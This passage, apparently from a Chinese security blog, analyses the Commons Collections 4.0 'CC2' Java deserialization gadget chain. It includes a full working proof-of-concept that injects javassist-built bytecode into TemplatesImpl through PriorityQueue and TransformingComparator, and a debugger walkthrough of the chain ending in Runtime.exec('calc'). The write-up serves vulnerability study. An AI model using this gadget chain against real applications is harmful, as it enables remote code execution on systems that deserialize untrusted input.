1. 程式人生 > >Java安全之Commons Collections2分析

Java安全之Commons Collections2分析

# Java安全之Commons Collections2分析 首發:[Java安全之Commons Collections2分析](https://www.anquanke.com/post/id/219840#h2-9) ## 0x00 前言 前面分析了CC1的利用鏈,但是發現在CC1的利用鏈中是有版本的限制的。在JDK1.8 8u71版本以後,對`AnnotationInvocationHandler`的`readobject`進行了改寫。導致高版本中利用鏈無法使用。 這就有了其他的利用鏈,在CC2鏈裡面並不是使用 `AnnotationInvocationHandler`來構造,而是使用 ​ `javassist`和`PriorityQueue`來構造利用鏈。 CC2鏈中使用的是`commons-collections-4.0`版本,但是CC1在`commons-collections-4.0`版本中其實能使用,但是`commons-collections-4.0`版本刪除了`lazyMap`的`decode`方法,這時候我們可以使用`lazyMap`方法來代替。但是這裡產生了一個疑問,為什麼CC2鏈中使用`commons-collections-4.0`3.2.1-3.1版本不能去使用,使用的是`commons-collections-4.0`4.0的版本?在中間查閱了一些資料,發現在3.1-3.2.1版本中`TransformingComparator`並沒有去實現`Serializable`介面,也就是說這是不可以被序列化的。所以在利用鏈上就不能使用他去構造。 下面我把利用鏈給貼上。 ``` Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() ``` 下面就來學習一下需要用到的基礎知識。 關於`javassist`上篇文章已經講過了,可以參考該篇文章:[Java安全之Javassist動態程式設計](https://www.cnblogs.com/nice0e3/p/13811335.html) ## 0x01 前置知識 ### PriorityQueue #### 構造方法: ``` PriorityQueue() 使用預設的初始容量(11)建立一個 PriorityQueue,並根據其自然順序對元素進行排序。 PriorityQueue(int initialCapacity) 使用指定的初始容量建立一個 PriorityQueue,並根據其自然順序對元素進行排序。 ``` #### 常見方法: ``` add(E e) 將指定的元素插入此優先順序佇列 clear() 從此優先順序佇列中移除所有元素。 comparator() 返回用來對此佇列中的元素進行排序的比較器;如果此佇列根據其元素的自然順序進行排序,則返回 null contains(Object o) 如果此佇列包含指定的元素,則返回 true。 iterator() 返回在此佇列中的元素上進行迭代的迭代器。 offer(E e) 將指定的元素插入此優先順序佇列 peek() 獲取但不移除此佇列的頭;如果此佇列為空,則返回 null。 poll() 獲取並移除此佇列的頭,如果此佇列為空,則返回 null。 remove(Object o) 從此佇列中移除指定元素的單個例項(如果存在)。 size() 返回此 collection 中的元素數。 toArray() 返回一個包含此佇列所有元素的陣列。 ``` #### 程式碼示例: ```Java public static void main(String[] args) { PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(2); priorityQueue.add(1); System.out.println(priorityQueue.poll()); System.out.println(priorityQueue.poll()); } ``` 結果: ``` 1 2 ``` ### getDeclaredField getDeclaredField是class超類的一個方法。該方法用來獲取類中或介面中已經存在的一個欄位,也就是成員變數。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194339536-268847580.png) 該方法返回的是一個Field物件。 ### Field #### 常用方法: ``` get 返回該所表示的欄位的值 Field ,指定的物件上。 set 將指定物件引數上的此 Field物件表示的欄位設定為指定的新值。 ``` ### TransformingComparator `TransformingComparator`是一個修飾器,和CC1中的`ChainedTransformer`類似。 檢視一下該類的構造方法 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194430945-2094911069.png) 這裡發現個有意思的地方,`compare`方法會去呼叫`transformer`的`transform`方法,嗅到了一絲絲CC1的味道。 ## 0x02 POC分析 ```java package com.test; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class cc2 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回預設的類池 classPool.appendClassPath(AbstractTranslet);//新增AbstractTranslet的搜尋路徑 CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類 payload.setSuperclass(classPool.get(AbstractTranslet)); //設定前面建立的CommonsCollections22222222222類的父類為AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個空的類初始化,設定建構函式主體為runtime byte[] bytes=payload.toBytecode();//轉換為byte陣列 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes欄位 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes欄位設定為runtime的byte陣列 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name欄位 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//將templatesImpl上的_name欄位設定為test InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修飾器傳入transformer物件 PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量建立一個 PriorityQueue,並根據其自然順序對元素進行排序。 queue.add(1);//新增數字1插入此優先順序佇列 queue.add(1);//新增數字1插入此優先順序佇列 Field field2=queue.getClass().getDeclaredField("comparator");//獲取PriorityQueue的comparator欄位 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//設定queue的comparator欄位值為comparator Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue欄位 field3.setAccessible(true);//暴力反射 field3.set(queue,new Object[]{templatesImpl,templatesImpl});//設定queue的queue欄位內容Object陣列,內容為templatesImpl ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } } ``` 先來看第一段程式碼: ```java ClassPool classPool=ClassPool.getDefault();//返回預設的類池 classPool.appendClassPath(AbstractTranslet);//新增AbstractTranslet的搜尋路徑 CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類 payload.setSuperclass(classPool.get(AbstractTranslet)); //設定前面建立的CommonsCollections22222222222類的父類為AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); ``` 我在這裡劃分了幾個部分,這一段程式碼的意思可以簡單理解為一句話,建立動態一個類,設定父類新增命令執行內容。 這裡首先丟擲一個疑問,上面的程式碼在前面,添加了`AbstractTranslet`所在的搜尋路徑,將`AbstractTranslet`設定為使用動態新建類的父類,那麼這裡為什麼需要設定AbstractTranslet為新建類的父類呢?這裡先不做解答,後面分析poc的時候再去講。 ```java Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes欄位 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes欄位設定為runtime的byte陣列 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name欄位 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//將templatesImpl上的_name欄位設定為test ``` 第二部分程式碼,反射獲取`_bytecodes`的值,設定為轉換後的`payload`的位元組碼。`_name`也是一樣的方式設定為test。 那麼為什麼需要這樣設定呢?為什麼需要設定`_bytecodes`的值為`paylaod`的位元組碼?這是丟擲的第二個疑問。 這裡先來為第二個疑問做一個解答。 來看看`TemplatesImpl`的`_bytecodes`被呼叫的地方 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194450843-790500892.png) 經過了`load.defineclass`方法返回了_class。在getTransletInstance()方法裡面呼叫了__class.newInstance()方法。也就是說對我們傳入的payload進行了例項化。這就是為什麼使用的是`templatesImpl`類而不是其他類來構造的原因。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194502468-1406886644.png) 而且看到他這裡是強轉為`AbstractTranslet`類型別。這也是第一個疑問中為什麼要繼承`AbstractTranslet`為父類的原因。 那麼就需要去尋找呼叫`getTransletInstance`的地方。在`templatesImpl`的`newTransformer`方法中其實會呼叫到`getTransletInstance`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194518049-685066837.png) 這時候就要考慮到了`newTransformer`怎麼去呼叫了,POC中給出的解決方案是使用`InvokerTransformer`的反射去呼叫。 ```java InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer); ``` 這又使用到了`TransformingComparator`是為什麼呢?其實在前置知識的地方說過。`TransformingComparator`的`compare`方法會去呼叫傳入引數的`transform`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194528589-183344573.png) 而關於`compare`的辦法就需要用到`PriorityQueue`來實現了。 檢視對應的POC程式碼 ```java PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue,comparator); ``` `siftDownUsingComparator`方法會呼叫到`comparator`的`compare`。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194542395-1921116886.png) `siftDownUsingComparator`會在`siftDown`方法進行呼叫 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194553708-528740491.png) `siftDown`會在`heapify`呼叫,而`heapify`會在`readobject`複寫點被呼叫。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194604123-1061031896.png) 下面再來看POC中的最後一段程式碼 ``` Field field3=queue.getClass().getDeclaredField("queue"); field3.setAccessible(true); field3.set(queue,new Object[]{templatesImpl,templatesImpl}); ``` 設定queue.queue為Object[]陣列,內容為兩個內建惡意程式碼的`TemplatesImpl`例項例項化物件。這樣呼叫`heapify`方法裡面的時候就會進行傳參進去。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194624180-1989800445.png) 到這裡POC為何如此構造已經是比較清楚了,但是對於完整的一個鏈完整的執行流程卻不是很清楚。有必要除錯一遍。剛剛的分析其實也是逆向的去分析。 ## 0x03 POC除錯 在`readobject`位置打個斷點,就可以看到反序列化時,呼叫的是`PriorityQueue`的`readobject`,而這個`readobject`方法會去呼叫`heapify`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194637070-1351486021.png) ` heapify`會呼叫`siftDown`方法,並且傳入`queue`,這裡的`queue`是剛剛傳入的構造好惡意程式碼的`TemplatesImpl`例項化物件。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194651834-299169953.png) ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194700622-804866538.png) 該方法判斷`comparator`不為空,就會去呼叫`siftDownUsingComparator`,這的`comparator`是被`TransformingComparator`修飾過的`InvokerTransformer`例項化物件。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194711605-620218866.png) 跟進到`siftDownUsingComparator`方法裡面,發現會方法會去呼叫`comparator`的`compare`,因為我們這裡的`compare`是被`TransformingComparator`修飾過的`InvokerTransformer`例項化物件。所以這裡呼叫的就是`TransformingComparator`的`compare`。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194724316-173174802.png) 在這裡傳入的2個引數,內容為`TemplatesImpl`例項化物件。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194734704-980428246.png) 跟進到方法裡面,`this.iMethodName`內容為`newTransformer`反射呼叫了`newTransformer`方法。再跟進一下。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194747602-2069153960.png) `newTransformer`會呼叫`getTransletInstance`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194803173-1048551352.png) 再跟進一下`getTransletInstance`方法,這裡會發現先判斷是否為空,為空的話呼叫`defineTransletClasses()`進行賦值,這裡是將`_bytecodes`賦值給`_class`。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194823168-1910417425.png) ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194835051-2103358260.png) `defineTransletClasses()`執行完後會跳回剛剛的地方,留意第一個if判斷語句如果`_name`等於null就直接返回null,不執行下面程式碼。這也是前面為什麼會為`_name`設定值的原因。 再來看他的下一段程式碼 會`_class.newInstance()`對`_class`進行例項化。執行完這一步後就會彈出一個計算器。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194846871-568229250.png) ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022194856368-501028337.png) 在最後面問題又來了,為什麼`newInstance()`例項化了一個物件就會執行命令呢? 其實這就涉及到了在 `javassist`是怎麼去構造的物件。 ``` ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); payload.writeFile("./"); ``` 將這個類給寫出來,再來檢視一下具體的是怎麼構造的。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201022195002078-1117597357.png) 看到程式碼後其實就已經很清楚了,`Runtime`執行命令程式碼是在靜態程式碼塊裡面,靜態程式碼塊會在new物件的時候去執行。 ### 呼叫鏈 ``` ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify ->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare() ->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance ->(動態建立的類)cc2.newInstance()->Runtime.exec() ``` ## 0x04 結尾 其實個人覺得在分析利用鏈的時候,只是用別人寫好的POC程式碼看他的呼叫步驟的話,意義並不大。分析利用鏈需要思考利用鏈的POC為什麼要這樣寫。這也是我一直在文中一直丟擲疑問的原因,這些疑問都是我一開始考慮到的東西,需要多